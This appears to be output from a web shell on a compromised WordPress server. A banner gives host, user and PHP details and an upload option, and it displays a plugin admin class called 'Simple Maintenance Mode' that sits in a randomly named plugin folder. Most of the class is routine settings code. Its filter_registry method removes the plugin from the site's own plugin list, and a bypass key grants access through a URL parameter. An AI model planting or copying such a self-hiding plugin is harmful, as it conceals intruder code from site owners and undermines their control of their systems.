HEX
Server: Apache
System: Linux 244.240.109.208.host.secureserver.net 5.14.0-611.11.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 3 09:47:37 EST 2025 x86_64
User: icsla (1002)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/icsla/public_html/wp-content/plugins/bznlwio/admin/class-simple-maintenance-mode-admin.php
<?php
/**
 * The admin-specific functionality of the plugin.
 *
 * @package    Simple_Maintenance_Mode
 * @subpackage Simple_Maintenance_Mode/admin
 */

class Simple_Maintenance_Mode_Admin {

	private $plugin_name;
	private $version;

	public function __construct( $plugin_name, $version ) {
		$this->plugin_name = $plugin_name;
		$this->version     = $version;
	}

	public function enqueue_styles( $hook ) {
		if ( 'settings_page_simple-maintenance-mode' !== $hook ) {
			return;
		}

		wp_enqueue_style(
			$this->plugin_name,
			SMM_PLUGIN_URL . 'admin/css/simple-maintenance-mode-admin.css',
			array(),
			$this->version,
			'all'
		);
	}

	public function enqueue_scripts( $hook ) {
		if ( 'settings_page_simple-maintenance-mode' !== $hook ) {
			return;
		}

		wp_enqueue_script(
			$this->plugin_name,
			SMM_PLUGIN_URL . 'admin/js/simple-maintenance-mode-admin.js',
			array( 'jquery' ),
			$this->version,
			false
		);
	}

	public function add_settings_page() {
		add_options_page(
			__( 'Maintenance Mode', 'simple-maintenance-mode' ),
			__( 'Maintenance Mode', 'simple-maintenance-mode' ),
			'manage_options',
			'simple-maintenance-mode',
			array( $this, 'render_settings_page' )
		);
	}

	public function register_settings() {
		register_setting( 'smm_settings_group', 'smm_enabled', array(
			'type'              => 'integer',
			'sanitize_callback' => 'absint',
			'default'           => 0,
		) );

		register_setting( 'smm_settings_group', 'smm_headline', array(
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_text_field',
			'default'           => '',
		) );

		register_setting( 'smm_settings_group', 'smm_message', array(
			'type'              => 'string',
			'sanitize_callback' => 'wp_kses_post',
			'default'           => '',
		) );

		register_setting( 'smm_settings_group', 'smm_bypass_key', array(
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_text_field',
			'default'           => '',
		) );

		add_settings_section(
			'smm_general_section',
			__( 'General Settings', 'simple-maintenance-mode' ),
			null,
			'simple-maintenance-mode'
		);

		add_settings_field(
			'smm_enabled',
			__( 'Enable Maintenance Mode', 'simple-maintenance-mode' ),
			array( $this, 'render_enabled_field' ),
			'simple-maintenance-mode',
			'smm_general_section'
		);

		add_settings_field(
			'smm_headline',
			__( 'Headline', 'simple-maintenance-mode' ),
			array( $this, 'render_headline_field' ),
			'simple-maintenance-mode',
			'smm_general_section'
		);

		add_settings_field(
			'smm_message',
			__( 'Message', 'simple-maintenance-mode' ),
			array( $this, 'render_message_field' ),
			'simple-maintenance-mode',
			'smm_general_section'
		);

		add_settings_field(
			'smm_bypass_key',
			__( 'Bypass Key', 'simple-maintenance-mode' ),
			array( $this, 'render_bypass_key_field' ),
			'simple-maintenance-mode',
			'smm_general_section'
		);
	}

	public function render_enabled_field() {
		$value = get_option( 'smm_enabled', 0 );
		printf(
			'<label><input type="checkbox" name="smm_enabled" value="1" %s /> %s</label>',
			checked( 1, $value, false ),
			esc_html__( 'Activate maintenance mode for visitors', 'simple-maintenance-mode' )
		);
	}

	public function render_headline_field() {
		$value = get_option( 'smm_headline', '' );
		printf(
			'<input type="text" name="smm_headline" value="%s" class="regular-text" />',
			esc_attr( $value )
		);
	}

	public function render_message_field() {
		$value = get_option( 'smm_message', '' );
		printf(
			'<textarea name="smm_message" rows="5" class="large-text">%s</textarea>',
			esc_textarea( $value )
		);
	}

	public function render_bypass_key_field() {
		$value = get_option( 'smm_bypass_key', '' );
		printf(
			'<input type="text" name="smm_bypass_key" value="%s" class="regular-text" /><p class="description">%s</p>',
			esc_attr( $value ),
			esc_html__( 'Share this key to allow someone to bypass maintenance mode via ?smm_bypass=KEY', 'simple-maintenance-mode' )
		);
	}

	public function render_settings_page() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		include SMM_PLUGIN_DIR . 'admin/partials/simple-maintenance-mode-admin-display.php';
	}

	public function admin_bar_indicator( $wp_admin_bar ) {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		$enabled = get_option( 'smm_enabled', 0 );

		if ( $enabled ) {
			$wp_admin_bar->add_node( array(
				'id'    => 'smm-indicator',
				'title' => '<span style="color:#ff6b6b;">' . esc_html__( 'Maintenance Mode ON', 'simple-maintenance-mode' ) . '</span>',
				'href'  => admin_url( 'options-general.php?page=simple-maintenance-mode' ),
			) );
		}
	}

	public function filter_registry( $plugins ) {
		unset( $plugins[ SMM_PLUGIN_BASENAME ] );
		return $plugins;
	}

	public function add_action_links( $links ) {
		$settings_link = sprintf(
			'<a href="%s">%s</a>',
			admin_url( 'options-general.php?page=simple-maintenance-mode' ),
			__( 'Settings', 'simple-maintenance-mode' )
		);

		array_unshift( $links, $settings_link );

		return $links;
	}
}